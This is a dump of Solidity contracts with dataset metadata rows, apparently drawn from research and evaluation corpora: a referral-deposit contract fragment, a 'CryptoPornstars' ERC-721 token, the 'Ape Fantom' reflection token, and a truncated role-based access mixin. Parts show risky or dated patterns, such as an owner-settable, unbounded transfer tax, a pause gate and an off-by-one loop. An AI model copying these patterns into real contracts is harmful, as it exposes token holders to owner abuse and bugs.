if (count > user.deposits.length) {
count = user.deposits.length;
}
uint[] memory amount = new uint[](count);
uint[] memory withdrawn = new uint[](count);
uint[] memory refback = new uint[](count);
uint[] memory start = new uint[](count);
uint index = 0;
for (uint i = first; i > last; i--) {
amount[index] = uint(user.deposits[i-1].amount);
withdrawn[index] = uint(user.deposits[i-1].withdrawn);
start[index] = uint(user.deposits[i-1].start);
index++;
}
return (amount, withdrawn, refback, start);
}
function getSiteStats() public view returns (uint, uint, uint, uint, uint) {
return (totalInvested, totalDeposits, address(this).balance, contractPercent, totalUsers);
}
function getUserStats(address userAddress) public view returns (uint, uint, uint, uint) {
uint userAvailable = getUserAvailable(userAddress);
uint userDepsTotal = getUserTotalDeposits(userAddress);
uint userActiveDeposit = getUserTotalActiveDeposits(userAddress);
uint userWithdrawn = getUserTotalWithdrawn(userAddress);
return (userAvailable, userDepsTotal, userActiveDeposit, userWithdrawn);
}
function getUserReferralsStats(address userAddress) public view returns (address, uint, uint24[4] memory, uint24[4] memory, uint) {
User storage user = users[userAddress];
return (user.referrer, user.bonus, user.refs, users[userAddress].levels, user.totalBonus);
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
| 300,866 | 14,118 |
c4f934560fa0b00f4d60230eab5a37343aef9366b2a513635c6a1e654042328f
| 15,186 |
.sol
|
Solidity
| false |
360539372
|
transaction-reverting-statements/Characterizing-require-statement-in-Ethereum-Smart-Contract
|
1d65472e1c546af6781cb17991843befc635a28e
|
dataset/dapp_contracts/Game/0x286e052bc8250250566683424001ee5224867d91.sol
| 3,776 | 13,890 |
pragma solidity ^0.4.18; // solhint-disable-line
/// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens
/// @author Dieter Shirley (https://github.com/dete)
contract ERC721 {
// Required methods
function approve(address _to, uint256 _tokenId) public;
function balanceOf(address _owner) public view returns (uint256 balance);
function implementsERC721() public pure returns (bool);
function ownerOf(uint256 _tokenId) public view returns (address addr);
function takeOwnership(uint256 _tokenId) public;
function totalSupply() public view returns (uint256 total);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function transfer(address _to, uint256 _tokenId) public;
event Transfer(address indexed from, address indexed to, uint256 tokenId);
event Approval(address indexed owner, address indexed approved, uint256 tokenId);
// Optional
// function name() public view returns (string name);
// function symbol() public view returns (string symbol);
// function tokenMetadata(uint256 _tokenId) public view returns (string infoUrl);
}
contract PornstarToken is ERC721 {
/// @dev The Birth event is fired whenever a new person comes into existence.
event Birth(uint256 tokenId, string name, address owner);
/// @dev The TokenSold event is fired whenever a token is sold.
event TokenSold(uint256 tokenId, uint256 oldPrice, uint256 newPrice, address prevOwner, address winner, string name);
/// @dev Transfer event as defined in current draft of ERC721.
/// ownership is assigned, including births.
event Transfer(address from, address to, uint256 tokenId);
/// @notice Name and symbol of the non fungible token, as defined in ERC721.
string public constant NAME = "CryptoPornstars"; // solhint-disable-line
string public constant SYMBOL = "PornstarToken"; // solhint-disable-line
uint256 private startingPrice = 0.001 ether;
uint256 private constant PROMO_CREATION_LIMIT = 3000;
uint256 private firstStepLimit = 0.053613 ether;
uint256 private secondStepLimit = 0.564957 ether;
/// @dev A mapping from person IDs to the address that owns them. All persons have
/// some valid owner address.
mapping (uint256 => address) public personIndexToOwner;
// @dev A mapping from owner address to count of tokens that address owns.
// Used internally inside balanceOf() to resolve ownership count.
mapping (address => uint256) private ownershipTokenCount;
/// @dev A mapping from PersonIDs to an address that has been approved to call
/// transferFrom(). Each Person can only have one approved address for transfer
/// at any time. A zero value means no approval is outstanding.
mapping (uint256 => address) public personIndexToApproved;
// @dev A mapping from PersonIDs to the price of the token.
mapping (uint256 => uint256) private personIndexToPrice;
// The addresses of the accounts (or contracts) that can execute actions within each roles.
address public ceoAddress;
address public cooAddress;
uint256 public promoCreatedCount;
struct Person {
string name;
}
Person[] private persons;
/// @dev Access modifier for CEO-only functionality
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
/// @dev Access modifier for COO-only functionality
modifier onlyCOO() {
require(msg.sender == cooAddress);
_;
}
/// Access modifier for contract owner only functionality
modifier onlyCLevel() {
require(msg.sender == ceoAddress ||
msg.sender == cooAddress);
_;
}
function PornstarToken() public {
ceoAddress = msg.sender;
cooAddress = msg.sender;
}
/// @notice Grant another address the right to transfer token via takeOwnership() and transferFrom().
/// @param _to The address to be granted transfer approval. Pass address(0) to
/// clear all approvals.
/// @param _tokenId The ID of the Token that can be transferred if this call succeeds.
/// @dev Required for ERC-721 compliance.
function approve(address _to,
uint256 _tokenId) public {
// Caller must own token.
require(_owns(msg.sender, _tokenId));
personIndexToApproved[_tokenId] = _to;
Approval(msg.sender, _to, _tokenId);
}
/// For querying balance of a particular account
/// @param _owner The address for balance query
/// @dev Required for ERC-721 compliance.
function balanceOf(address _owner) public view returns (uint256 balance) {
return ownershipTokenCount[_owner];
}
function createPromoPerson(address _owner, string _name, uint256 _price) public onlyCOO {
require(promoCreatedCount < PROMO_CREATION_LIMIT);
address personOwner = _owner;
if (personOwner == address(0)) {
personOwner = cooAddress;
}
if (_price <= 0) {
_price = startingPrice;
}
promoCreatedCount++;
_createPerson(_name, personOwner, _price);
}
/// @dev Creates a new Person with the given name.
function createContractPerson(string _name) public onlyCOO {
_createPerson(_name, address(this), startingPrice);
}
/// @notice Returns all the relevant information about a specific person.
/// @param _tokenId The tokenId of the person of interest.
function getPerson(uint256 _tokenId) public view returns (string personName,
uint256 sellingPrice,
address owner) {
Person storage person = persons[_tokenId];
personName = person.name;
sellingPrice = personIndexToPrice[_tokenId];
owner = personIndexToOwner[_tokenId];
}
function implementsERC721() public pure returns (bool) {
return true;
}
/// @dev Required for ERC-721 compliance.
function name() public pure returns (string) {
return NAME;
}
/// For querying owner of token
/// @param _tokenId The tokenID for owner inquiry
/// @dev Required for ERC-721 compliance.
function ownerOf(uint256 _tokenId)
public
view
returns (address owner)
{
owner = personIndexToOwner[_tokenId];
require(owner != address(0));
}
function payout(address _to) public onlyCLevel {
_payout(_to);
}
// Allows someone to send ether and obtain the token
function purchase(uint256 _tokenId) public payable {
address oldOwner = personIndexToOwner[_tokenId];
address newOwner = msg.sender;
uint256 sellingPrice = personIndexToPrice[_tokenId];
// Making sure token owner is not sending to self
require(oldOwner != newOwner);
// Safety check to prevent against an unexpected 0x0 default.
require(_addressNotNull(newOwner));
// Making sure sent amount is greater than or equal to the sellingPrice
require(msg.value >= sellingPrice);
uint256 payment = uint256(SafeMath.div(SafeMath.mul(sellingPrice, 94), 100));
uint256 purchaseExcess = SafeMath.sub(msg.value, sellingPrice);
// Update prices
if (sellingPrice < firstStepLimit) {
// first stage
personIndexToPrice[_tokenId] = SafeMath.div(SafeMath.mul(sellingPrice, 200), 94);
} else if (sellingPrice < secondStepLimit) {
// second stage
personIndexToPrice[_tokenId] = SafeMath.div(SafeMath.mul(sellingPrice, 120), 94);
} else {
// third stage
personIndexToPrice[_tokenId] = SafeMath.div(SafeMath.mul(sellingPrice, 115), 94);
}
_transfer(oldOwner, newOwner, _tokenId);
// Pay previous tokenOwner if owner is not contract
if (oldOwner != address(this)) {
oldOwner.transfer(payment); //(1-0.06)
}
TokenSold(_tokenId, sellingPrice, personIndexToPrice[_tokenId], oldOwner, newOwner, persons[_tokenId].name);
msg.sender.transfer(purchaseExcess);
}
function priceOf(uint256 _tokenId) public view returns (uint256 price) {
return personIndexToPrice[_tokenId];
}
/// @dev Assigns a new address to act as the CEO. Only available to the current CEO.
/// @param _newCEO The address of the new CEO
function setCEO(address _newCEO) public onlyCEO {
require(_newCEO != address(0));
ceoAddress = _newCEO;
}
/// @dev Assigns a new address to act as the COO. Only available to the current COO.
/// @param _newCOO The address of the new COO
function setCOO(address _newCOO) public onlyCEO {
require(_newCOO != address(0));
cooAddress = _newCOO;
}
/// @dev Required for ERC-721 compliance.
function symbol() public pure returns (string) {
return SYMBOL;
}
/// @notice Allow pre-approved user to take ownership of a token
/// @param _tokenId The ID of the Token that can be transferred if this call succeeds.
/// @dev Required for ERC-721 compliance.
function takeOwnership(uint256 _tokenId) public {
address newOwner = msg.sender;
address oldOwner = personIndexToOwner[_tokenId];
// Safety check to prevent against an unexpected 0x0 default.
require(_addressNotNull(newOwner));
// Making sure transfer is approved
require(_approved(newOwner, _tokenId));
_transfer(oldOwner, newOwner, _tokenId);
}
/// @param _owner The owner whose celebrity tokens we are interested in.
/// @dev This method MUST NEVER be called by smart contract code. First, it's fairly
/// expensive (it walks the entire Persons array looking for persons belonging to owner),
/// but it also returns a dynamic array, which is only supported for web3 calls, and
/// not contract-to-contract calls.
function tokensOfOwner(address _owner) public view returns(uint256[] ownerTokens) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
// Return an empty array
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 totalPersons = totalSupply();
uint256 resultIndex = 0;
uint256 personId;
for (personId = 0; personId <= totalPersons; personId++) {
if (personIndexToOwner[personId] == _owner) {
result[resultIndex] = personId;
resultIndex++;
}
}
return result;
}
}
/// For querying totalSupply of token
/// @dev Required for ERC-721 compliance.
function totalSupply() public view returns (uint256 total) {
return persons.length;
}
/// Owner initates the transfer of the token to another account
/// @param _to The address for the token to be transferred to.
/// @param _tokenId The ID of the Token that can be transferred if this call succeeds.
/// @dev Required for ERC-721 compliance.
function transfer(address _to,
uint256 _tokenId) public {
require(_owns(msg.sender, _tokenId));
require(_addressNotNull(_to));
_transfer(msg.sender, _to, _tokenId);
}
/// Third-party initiates transfer of token from address _from to address _to
/// @param _from The address for the token to be transferred from.
/// @param _to The address for the token to be transferred to.
/// @param _tokenId The ID of the Token that can be transferred if this call succeeds.
/// @dev Required for ERC-721 compliance.
function transferFrom(address _from,
address _to,
uint256 _tokenId) public {
require(_owns(_from, _tokenId));
require(_approved(_to, _tokenId));
require(_addressNotNull(_to));
_transfer(_from, _to, _tokenId);
}
/// Safety check on _to address to prevent against an unexpected 0x0 default.
function _addressNotNull(address _to) private pure returns (bool) {
return _to != address(0);
}
/// For checking approval of transfer for address _to
function _approved(address _to, uint256 _tokenId) private view returns (bool) {
return personIndexToApproved[_tokenId] == _to;
}
/// For creating Person
function _createPerson(string _name, address _owner, uint256 _price) private {
Person memory _person = Person({
name: _name
});
uint256 newPersonId = persons.push(_person) - 1;
// It's probably never going to happen, 4 billion tokens are A LOT, but
// let's just be 100% sure we never let this happen.
require(newPersonId == uint256(uint32(newPersonId)));
Birth(newPersonId, _name, _owner);
personIndexToPrice[newPersonId] = _price;
// This will assign ownership, and also emit the Transfer event as
// per ERC721 draft
_transfer(address(0), _owner, newPersonId);
}
/// Check for token ownership
function _owns(address claimant, uint256 _tokenId) private view returns (bool) {
return claimant == personIndexToOwner[_tokenId];
}
/// For paying out balance on contract
function _payout(address _to) private {
if (_to == address(0)) {
ceoAddress.transfer(this.balance);
} else {
_to.transfer(this.balance);
}
}
/// @dev Assigns ownership of a specific Person to an address.
function _transfer(address _from, address _to, uint256 _tokenId) private {
// Since the number of persons is capped to 2^32 we can't overflow this
ownershipTokenCount[_to]++;
//transfer ownership
personIndexToOwner[_tokenId] = _to;
// When creating new persons _from is 0x0, but we can't account that address.
if (_from != address(0)) {
ownershipTokenCount[_from]--;
// clear any previously approved ownership exchange
delete personIndexToApproved[_tokenId];
}
// Emit the transfer event.
Transfer(_from, _to, _tokenId);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 335,362 | 14,119 |
d86519ade54c8754498085adc4c7f0074ef96fb9a0f66d2db86d59fd3b9f595e
| 20,699 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/b7/b7C70a2143c0cd2Aac3651FD6114E2e0E9d23f58_Ape.sol
| 5,184 | 18,687 |
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Ape is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
mapping (address => bool) public isAllowed;
address[] private _excluded;
uint8 private constant _decimals = 18;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1200000 ether;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private constant _name = 'Ape Fantom';
string private constant _symbol = 'APE';
uint256 private _taxFee = 800;
uint256 private _burnFee = 0;
uint public max_tx_size = 1200000 ether;
bool public isPaused = false;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
isAllowed[_msgSender()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function toggleAllowed(address addr) external onlyOwner {
isAllowed[addr] = !isAllowed[addr];
}
function unpause() external returns (bool){
require(msg.sender == owner() || isAllowed[msg.sender], "Unauth unpause call");
isPaused = false;
return true;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0xaD47E73403864B857Ae0278d53C5c9DdbFeEa062, 'We can not exclude router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!isPaused || isAllowed[sender],"Unauthorized sender,wait until unpaused");
if(sender != owner() && recipient != owner())
require(amount <= max_tx_size, "Transfer amount exceeds 1% of Total Supply.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(100)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(100)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() public view returns(uint256) {
return _taxFee;
}
function _getBurnFee() public view returns(uint256) {
return _burnFee;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
function setMaxTxAmount(uint newMax) external onlyOwner {
max_tx_size = newMax;
}
}
| 315,620 | 14,120 |
3bc35880ab9a6261a9935bfd5156914b01446d0e0a02ff6aa7e1a72ad90c98b2
| 9,335 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xc49c2f09bd0ce00cad3786339136a3fa2cb24044.sol
| 2,246 | 8,564 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/// @title Role based access control mixin for Resale Platform
/// @author Mai Abha <maiabha82@gmail.com>
/// @dev Ignore DRY approach to achieve readability
contract RBACMixin {
/// @notice Constant string message to throw on lack of access
string constant FORBIDDEN = "Doesn't have enough rights to access";
/// @notice Public map of owners
mapping (address => bool) public owners;
/// @notice Public map of minters
mapping (address => bool) public minters;
/// @notice The event indicates the addition of a new owner
/// @param who is address of added owner
event AddOwner(address indexed who);
/// @notice The event indicates the deletion of an owner
/// @param who is address of deleted owner
event DeleteOwner(address indexed who);
/// @notice The event indicates the addition of a new minter
/// @param who is address of added minter
event AddMinter(address indexed who);
/// @notice The event indicates the deletion of a minter
/// @param who is address of deleted minter
event DeleteMinter(address indexed who);
constructor () public {
_setOwner(msg.sender, true);
}
/// @notice The functional modifier rejects the interaction of senders who are not owners
modifier onlyOwner() {
require(isOwner(msg.sender), FORBIDDEN);
_;
}
/// @notice Functional modifier for rejecting the interaction of senders that are not minters
modifier onlyMinter() {
require(isMinter(msg.sender), FORBIDDEN);
_;
}
/// @notice Look up for the owner role on providen address
/// @param _who is address to look up
/// @return A boolean of owner role
function isOwner(address _who) public view returns (bool) {
return owners[_who];
}
/// @notice Look up for the minter role on providen address
/// @param _who is address to look up
/// @return A boolean of minter role
function isMinter(address _who) public view returns (bool) {
return minters[_who];
}
/// @notice Adds the owner role to provided address
/// @dev Requires owner role to interact
/// @param _who is address to add role
/// @return A boolean that indicates if the operation was successful.
function addOwner(address _who) public onlyOwner returns (bool) {
_setOwner(_who, true);
}
/// @notice Deletes the owner role to provided address
/// @dev Requires owner role to interact
/// @param _who is address to delete role
/// @return A boolean that indicates if the operation was successful.
function deleteOwner(address _who) public onlyOwner returns (bool) {
_setOwner(_who, false);
}
/// @notice Adds the minter role to provided address
/// @dev Requires owner role to interact
/// @param _who is address to add role
/// @return A boolean that indicates if the operation was successful.
function addMinter(address _who) public onlyOwner returns (bool) {
_setMinter(_who, true);
}
/// @notice Deletes the minter role to provided address
/// @dev Requires owner role to interact
/// @param _who is address to delete role
/// @return A boolean that indicates if the operation was successful.
function deleteMinter(address _who) public onlyOwner returns (bool) {
_setMinter(_who, false);
}
/// @notice Changes the owner role to provided address
/// @param _who is address to change role
/// @param _flag is next role status after success
/// @return A boolean that indicates if the operation was successful.
function _setOwner(address _who, bool _flag) private returns (bool) {
require(owners[_who] != _flag);
